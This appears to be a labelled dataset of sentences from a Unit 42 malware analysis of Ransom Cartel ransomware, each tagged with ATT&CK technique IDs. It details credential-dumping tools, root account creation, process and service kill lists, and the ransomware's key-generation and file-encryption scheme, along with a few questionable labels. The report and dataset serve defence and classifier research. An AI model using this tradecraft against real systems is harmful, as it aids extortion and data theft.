{"sentence": "When Ransom Cartel first appeared, it was unclear whether it was a rebrand of REvil or an unrelated threat actor who reused or mimicked REvil ransomware code.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "In this report, we will provide our analysis of Ransom Cartel ransomware, as well as our assessment of the possible connections between REvil and Ransom Cartel ransomware.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Palo Alto Networks customers receive help with the detection and prevention of Ransom Cartel ransomware through the following products and services: Cortex XDR and Next-Generation Firewalls (including cloud-delivered security services such as WildFire).", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "If you think a cyber incident may have impacted you, the Unit 42 Incident Response team is available 24/7/365.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "You can also take preventative steps by requesting any of our cyber risk management services. Indicators of compromise and Ransom Cartel-associated tactics, techniques and procedures (TTPs) can be found in the Ransom Cartel ATOM.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "We updated this blog on Oct. 15 based on further analysis, additional evidence and discussion around the complexities of redirects from REvil’s dark web leak site.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Updated sections include our History of the REvil Disappearance and the Ransom Cartel Overview.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Table of Contents History of the REvil DisappearanceRansom Cartel OverviewTTPs Observed During Ransom Cartel AttacksRansom NotesRansom Cartel TOR SiteTechnical Details Ransom Cartel and REvil Code ComparisonRansom Cartel Tactics, Techniques and ProceduresMalware, Tools and Exploits UsedConclusionIndicators of Compromise History of the REvil Disappearance In October 2021, REvil operators went quiet.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "REvil’s dark web leak site became unreachable.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Around mid-April 2022, individual security researchers and cybersecurity media outlets reported a new development with REvil that could signify the gang’s return.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "REvil’s name-and-shame blogs at the dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd[.]onion and aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd[.]onion domains started redirecting users to a new name-and-shame blog available at blogxxu75w63ujqarv476otld7cyjkq4yoswzt4ijadkjwvg3vrvd5yd[.]onion/Blog.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "This redirect was documented in our post, “Understanding REvil,” in Bleeping Computer’s post on REvil’s TOR sites redirecting to a new ransomware operation and in a Twitter post from vx-underground.", "labels": ["T1090"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Later the same day, the redirect was removed (as noted by vx-underground).", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "At the time, it was not possible to make a definitive attribution stating which group was behind the redirect because the new name-and-shame blog did not claim any name or affiliation.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "At the start of the redirect, no breached organizations were listed on the site.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Over time, the threat actors began adding records that had appeared on “Happy Blog,” mostly from late April to October 2021.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "They also included the old file-sharing links previously used by REvil as proof of compromise.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The newly established blog listed Tox Chat ID for communication with the ransomware operator.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The blog hinted at its operators’ connection to REvil with the claim that the newer group offered “the same, yet improved software.”", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Unit 42 initially believed that this blog was linked to Ransom Cartel and that the “improved software” the threat actors referred to was a new Ransom Cartel variant.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "However, after further analysis and seeing more evidence, we believe it is also possible that the name-and-shame blog and Ransom Cartel are two separate operations.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Whether this blog is operated by Ransom Cartel or a different group, what is clear is that, while REvil may have disappeared, its malicious influence has not.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The operator of the newly established blog appears to have some type of access to REvil or ties to the group.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "At the same time, our analysis of Ransom Cartel samples (detailed in the sections below) provides strong evidence of ties to REvil as well.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "To read more about REvil, its disappearance and the redirect, please refer to our blog, Understanding REvil.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel Overview We first observed Ransom Cartel around mid-January 2022.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Security researchers at MalwareHunterTeam believe the group to have been active since at least December 2021.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "They observed the first known Ransom Cartel activity and noticed several similarities and technical overlaps with REvil ransomware.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "There are a number of theories about the origins of Ransom Cartel.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "One theory in the community suggests that Ransom Cartel could be the result of multiple groups merging.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "However, researchers at MalwareHunterTeam have put forward that one of the groups believed to have merged has denied any connection with Ransom Cartel.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Additionally, Unit 42 has seen no connection between these groups and Ransom Cartel other than that many of them have connections to REvil.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "At this time, we believe that Ransom Cartel operators had access to earlier versions of REvil ransomware source code, but not some of the most recent developments (see our Ransom Cartel and REvil Code Comparison for more details).", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "This suggests there was a relationship between the groups at some point, though it may not have been recent.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Unit 42 has also observed Ransom Cartel group breaching organizations, with the first known victims observed by us around January 2022 in the U.S. and France.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel has attacked organizations in the following industries: education, manufacturing, and utilities and energy.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Unit 42 incident responders have also assisted clients with response efforts in several Ransom Cartel cases.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Like many other ransomware gangs, Ransom Cartel leverages double extortion techniques.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Unit 42 has observed the group taking an aggressive approach, threatening not only to publish stolen data to their leak site, but also to send it to the victim’s partners, competitors and the news in an effort to inflict reputational damage.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel typically gains initial access to an environment via compromised credentials, which is one of the most common vectors for initial access for ransomware operators.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "This includes access credentials for external remote services, remote desktop protocol (RDP), secure shell protocol (SSH) and virtual private networks (VPNs).", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "These credentials are widely available in the cyber underground and offer threat actors a reliable means to gain access to victims' corporate networks.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "These credentials can also be obtained through the work of ransomware operators themselves or by purchasing them from an initial access broker.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Initial access brokers are actors who offer to sell compromised network access.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Their motivation is not to carry out cyberattacks themselves but rather to sell the access to other threat actors.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Due to the profitability of ransomware, these brokers likely have working relationships with RaaS groups based on the amount they are willing to pay.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Unit 42 has seen evidence that Ransom Cartel has relied on this type of service to gain initial access for ransomware deployment.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Unit 42 has also observed Ransom Cartel encrypting both Windows and Linux VMWare ESXi servers in attacks on corporate networks.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Tactics, Techniques and Procedures Observed During Ransom Cartel Attacks Unit 42 observed a Ransom Cartel threat actor using a tool called DonPAPI, which has not been observed in past incidents.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "This tool can locate and retrieve Windows Data Protection API (DPAPI) protected credentials, which is known as DPAPI dumping.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "DonPAPI is used to search machines for certain files known to be DPAPI blobs, including Wi-Fi keys, RDP passwords,", "labels": ["T1083"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "credentials saved in web browsers, etc.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "To avoid the risk of detection by antivirus (AVs) or endpoint detection and response (EDR), the tool downloads the files and decrypts them locally.", "labels": ["T1105", "T1140"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "To compromise Linux ESXi devices, Ransom Cartel uses DonPAPI to harvest credentials stored in web browsers used to authenticate to the vCenter web interface.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "We also observed the threat actor using additional tools, including LaZagne to recover credentials stored locally and Mimikatz to steal credentials from host memory.", "labels": ["T1003.001"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "In order to establish persistent access to Linux ESXi devices, the threat actor enables SSH after authenticating to vCenter.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The threat actor will create new accounts and sets the account’s user identifier (UID) to zero.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "For Unix/Linux users, a UID=0 is root.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "This means any security checks are bypassed.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The threat actor was observed downloading and using a cracked version of a legitimate tool called PDQ Inventory, which is a legitimate system management solution that IT administrators use to scan their network and collect hardware, software and Windows configuration data.", "labels": ["T1072"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel used this as a remote access tool to establish an interactive command and control channel and to scan the compromised network.", "labels": ["T1219"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Once a VMware ESXi server is compromised, the threat actor launches the encryptor, which will automatically enumerate the running virtual machines (VMs) and shut them down using the esxcli command.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Terminating the VM processes ensures that the ransomware can successfully encrypt VMware-related files.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "During encryption, Ransom Cartel specifically seeks out files with the following file extensions: .log, .vmdk, .vmem, .vswp and .vmsn.", "labels": ["T1083"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "These extensions are associated with ESXi snapshots, log files, swap files, paging files and virtual disks.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Post-encryption, the following file extensions have been observed: .zmi5z, .nwixz, .ext, .zje2m, .5vm8t and .m4tzt.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Notes Unit 42 has observed two different versions of ransom notes sent by Ransom Cartel.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The first note was first observed around January 2022, and the other one first appeared in August 2022.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The second version appeared to be completely rewritten, as shown in Figure 1. Figure 1.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel ransom notes.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The note on the left was first observed in January 2022; the note on the right was first observed in August 2022.It's interesting to note that the structure of the first ransom note used by Ransom Cartel shares similarities with a ransom note sent by REvil, as shown in Figure 2.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "In addition to the use of similar wording, both notes employed the same format of a 16-byte hexadecimal string for the UID. Figure 2.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel ransom note shown on the left, compared to a ransom note sent by REvil shown on the right.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel TOR Site Ransom Cartel’s website for communication with victims was available via a TOR link provided in the ransom note.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "We’ve observed multiple TOR URLs belonging to Ransom Cartel, which likely indicates that they had been changing infrastructure and actively developing their website.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "A TOR private key is needed to access the website.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "When the key is entered, the following page is loaded: Figure 3.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel TOR site landing page.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Upon entering the TOR site through the Authorization button, a screen requesting input of the details included in the ransom note is requested.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel website, requesting the ID and key provided in the ransom note.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Once authorization is completed on the TOR site, the page shown in Figure 5 appears.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The site includes details such as ransom demand, in both US dollars and bitcoin, and the Bitcoin wallet address. Figure 5.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel TOR site.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Technical Details Two Ransom Cartel samples were used during this analysis: File one SHA256: 55e4d509de5b0f1ea888ff87eb0d190c328a559d7cc5653c46947e57c0f01ec5File two SHA256: 2411a74b343bbe51b2243985d5edaaabe2ba70e0c923305353037d1f442a91f5 Both of the samples contained three total exports:", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "RathbuigeServiceMainSvchostPushServiceGlobals The samples also contain a DllEntryPoint, should the DLL be executed without specifying an export.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The DllEntryPoint leads to a function that iterates over a call to the Curve25519 Donna algorithm 24 times.", "labels": ["T1106"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Once the iteration ends, the sample will query the system metrics, specifically for the SM_CLEANBOOT value.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "If this value is anything other than 0, the ransomware will proceed to spawn another instance of itself via rundll32.exe, specifying the Rathbuige export.", "labels": ["T1218.011"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "SM_CLEANBOOT Values Description 0 Normal Boot 1 Fail-Safe Boot 2 Fail-Safe with Network Boot Table 1.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "SM_CLEANBOOT values.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The Rathbuige export starts by creating the following mutex: Global\\\\266ee996-e1ac-4eaa-9bdb-0b639d41b32d Once the mutex is created, the sample begins to decrypt and parse its embedded configuration.", "labels": ["T1140"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The configuration is stored as a base64-encoded blob, whereby the first 16 bytes of the base64-encoded blob is the RC4 key used for decrypting the rest of the blob once it has been decoded.", "labels": ["T1027", "T1140"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel encrypted configuration.", "labels": ["T1027", "T1140"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Once decrypted, the configuration is stored in JSON format and consists of information such as encrypted file extension, the threat actors' public Curve25519-donna key, a base64-encoded ransom note, and a list of processes and services to terminate prior to encryption.", "labels": ["T1027", "T1140"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Example of decrypted Ransom Cartel configuration.", "labels": ["T1140"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "A breakdown of the keys and their values within the configuration can be seen in Table 2. Configuration Key Value pk Attacker public key dbg Debug mode wht Allow listed items Files to avoid Extensions to avoid prc Processes to terminate svc Services to terminate nname Name of ransom note file nbody Ransom note content ext Encrypted file extension Table 2.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Configuration structure.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "dbsnmp raw_agent_svc onenote steam VeeamNFSSvc synctime infopath msaccess tbirdconfig mspub ocomm excel EnterpriseClient ocssd agntsvc winword ocautoupds thebat sql bedbh dbeng50 powerpnt wordpad xfssvccon VeeamTransportSvc CagService bengien visio outlook DellSystemDetect encsvc benetns pvlsvr isqlplussvc VeeamDeploymentSvc vsnapvss sqbcoreservice firefox mydesktopservice oracle mydesktopqos beserver thunderbird vxmon Table 3.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Targeted process list.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "BackupExecVSSProvider BackupExecManagementService AcronisAgent veeam VeeamDeploymentService ARSM BackupExecAgentAccelerator MSExchange$ PDVFSService MSSQL$ VeeamTransportSvc memtas MSExchange vss stc_raw_agent BackupExecDiveciMediaService CAARCUpdateSvc mepocs svc$ WSBExchange sophos VSNAPVSS MVarmor64 MSSQL sql BackupExecRPCService backup MVArmor BackupExecAgentBrowser VeeamNFSSvc BackupExecJobEngine CASAD2DWebSvc bedbg AcrSch2Svc Table 4.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Targeted service list.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "mod cpl ps1 cab com ani diagcab adv themepack shs sys rom cur ldf msu mpa spl msi msc wpx 386 diagcfg lock prf deskthemepack bin ico diagpkg nomedia idx ics hlp msp msstyles key cmd scr exe drv hta nls dll lnk icns ocx theme bat icl rtp Table 5.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Avoided extensions.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Following decryption of the configuration, certain system information is gathered, including the username, computer name, domain name, locale and product name.", "labels": ["T1033", "T1082"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "This information is then formatted into the following JSON structure: {\"ver\":%d,\"pk\":\"%s\",\"uid\":\"%s\",\"sk\":\"%s\",\"unm\":\"%s\",\"net\":\"%s\",\"grp\":\"%s\",\"lng\":\"%s\",\"bro\":%s,\"os\":\"%s\",\"bit\":%d,\"dsk\":\"%s\",\"ext\":\"%s\"} Table 6 describes the purpose of each key within the structure.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Key Value ver Version of the ransomware, hardcoded.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "In both samples set to 0x65 (101) pk Public key found within the configuration uid Unique identifier calculated via CRC-32 hashing certain machine information sk Encoded session secret unm Username net Computer name grp Computer domain lng Computer locale bro Does keyboard locale match any hardcoded locale value – true/false os Product name bit System architecture dsk Disk information ext Ransomware extension Table 6.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Hardcoded JSON format keys and values.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Once the gathered data has been formatted into the JSON structure, it is then encrypted using the same procedure that Ransom Cartel follows to generate session_secret blobs, which will be discussed shortly; put simply, it involves AES encryption, utilizing the SHA3 hash of a Curve25519 shared key for the AES key.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Once encrypted, it is written to the registry key SOFTWARE\\\\Google_Authenticator\\\\b52dKMhj, with the sample first attempting to write to the HKEY_LOCAL_MACHINE hive, before writing to HKEY_CURRENT_USER if the right permissions are not possessed.", "labels": ["T1112"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Once the data has been written to the registry, it is then base64-encoded and embedded within the ransom note, replacing the {KEY} placeholder.", "labels": ["T1112"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Once the configuration has been parsed and stored within the registry, the command line provided to the ransomware is parsed.", "labels": ["T1059.003", "T1112"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "There are a total of five possible arguments, as shown in Table 7. Argument Description -nolan Instruct the sample not to attempt any form of network drive encryption -nolocal Prevent the encryption of all local volumes -path Target specific file path to encrypt -silent Appears to instruct the ransomware to avoid terminating running processes and services, and it begins encrypting files immediately -smode Causes the ransomware to use BCEdit in order to enable Safe Boot; check out this article on REvil’s use of “Windows Safe Mode” encryption for a discussion about this particular technique.", "labels": ["T1083"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Table 7.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel accepted arguments.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "With that, let’s move on to analyzing the session secret generation procedure.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel first checks to see if the registry already contains previously generated values; if so, it will read those values into memory.", "labels": ["T1012"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Otherwise, it will generate a total of two session secrets at runtime, with each secret containing 88 bytes of data.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "First, a public and private key pair will be generated using the code from this Curve25519 repository (session_public_1 and session_private_1).", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "When generating the first session secret, another session key pair is generated, (session_public_2 and session_private_2) and session_private_2 is paired with attacker_cfg_public (the public key embedded within the configuration) to generate a shared key.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "This shared key is then hashed with the SHA3 hashing algorithm.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The resulting hash is used as an AES key with a random 16-byte initialization vector (IV) for encrypting a data blob consisting of four null bytes followed by session_private_1. Figure 8.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Diagram of session secret generation procedure.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "From there, the encrypted blob is hashed using CRC-32, and then appended with the values session_public_2, the AES IV, and the calculated CRC-32 hash.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The resulting value is session_secret_1.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The second generated session secret follows the exact same procedure; however, instead of using attacker_cfg_public, it utilizes an embedded public key (attacker_embedded_public_1) within the binary to generate the shared key. Figure 9.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Decompiled session secret generation procedure.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "One final embedded public key (attacker_embedded_public_2) is used to encrypt the data formatted into the JSON structure described above.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "This method of generating session secrets was documented by researchers at Amossys back in 2020; however, their analysis focused on an updated version of Sodinokibi/REvil ransomware, indicating a direct overlap between the REvil source code and the latest Ransom Cartel samples.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Once the session secrets have been generated, they are written to the registry, alongside session_public_1 and attacker_cfg_public.", "labels": ["T1112"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Path Name Value SOFTWARE\\\\Google_Authenticator\\\\ WRZfsL attacker_cfg_public SOFTWARE\\\\Google_Authenticator\\\\ RB4y session_public_1 SOFTWARE\\\\Google_Authenticator\\\\ Kbcn0 session_secret_1 SOFTWARE\\\\Google_Authenticator\\\\ BSjHn session_secret_2 Table 8.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Registry paths and values used by Ransom Cartel.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "At this point, all the required information is gathered and generated so that file encryption can begin.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "For each file, a unique file public and private key pair are generated (file_public_1 and file_private_1), once again using Curve25519 Donna.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "file_private_1 and session_public_1 are paired together to generate a shared key, which is hashed using SHA3.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The generated hash is used as the encryption key for Salsa20 (a symmetric encryption algorithm), and a random eight-byte nonce is generated using CryptGenRandom.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The CRC-32 hash of file_public_1 is calculated, and then four null bytes are encrypted using the generated Salsa20 matrix.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Certain elements of the above data are then retained and used as part of the encrypted file footer; each file footer is 232 bytes in length and is made up of the following:", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "session_secret_1 (88 bytes)", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "session_secret_2 (88 bytes) file_public_1", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "(32 bytes) salsa_nonce (eight bytes)", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "crc_file_public_1 (four bytes) encryption_type (four bytes) block_spacing (four bytes) encrypted_null (four bytes)", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Similarly to the session_secret generation, this structure is identical to that of the REvil samples analyzed by Amossys, further showing that there have been very few changes to the REvil source code when developing Ransom Cartel samples.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "File encryption setup process.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Ransom Cartel and REvil Code Comparison The Ransom Cartel samples analyzed revealed similarities with REvil ransomware.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "The first notable similarity between Ransom Cartel and REvil is the structure of the configuration.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Examining a sample of REvil from 2019 (SHA256: 6a2bd52a5d68a7250d1de481dcce91a32f54824c1c540f0a040d05f757220cd3), the resemblance can be seen.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "However, the storage of the encrypted configuration is slightly different, opting to store the configuration in a separate section within the binary (.ycpc19), with an initial 32-byte RC4 key followed by the raw encrypted configuration, whereas with the Ransom Cartel samples, the configuration is stored within the .data section as a base64-encoded blob.", "labels": [], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "REvil configuration storage.", "labels": ["T1140"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
{"sentence": "Once the REvil configuration has decrypted, it utilizes the same JSON format, but contains additional values such as pid, sub, fast, wipe and dmn.", "labels": ["T1140"], "doc_title": "Ransom Cartel Ransomware A Possible Connection With REvil"}
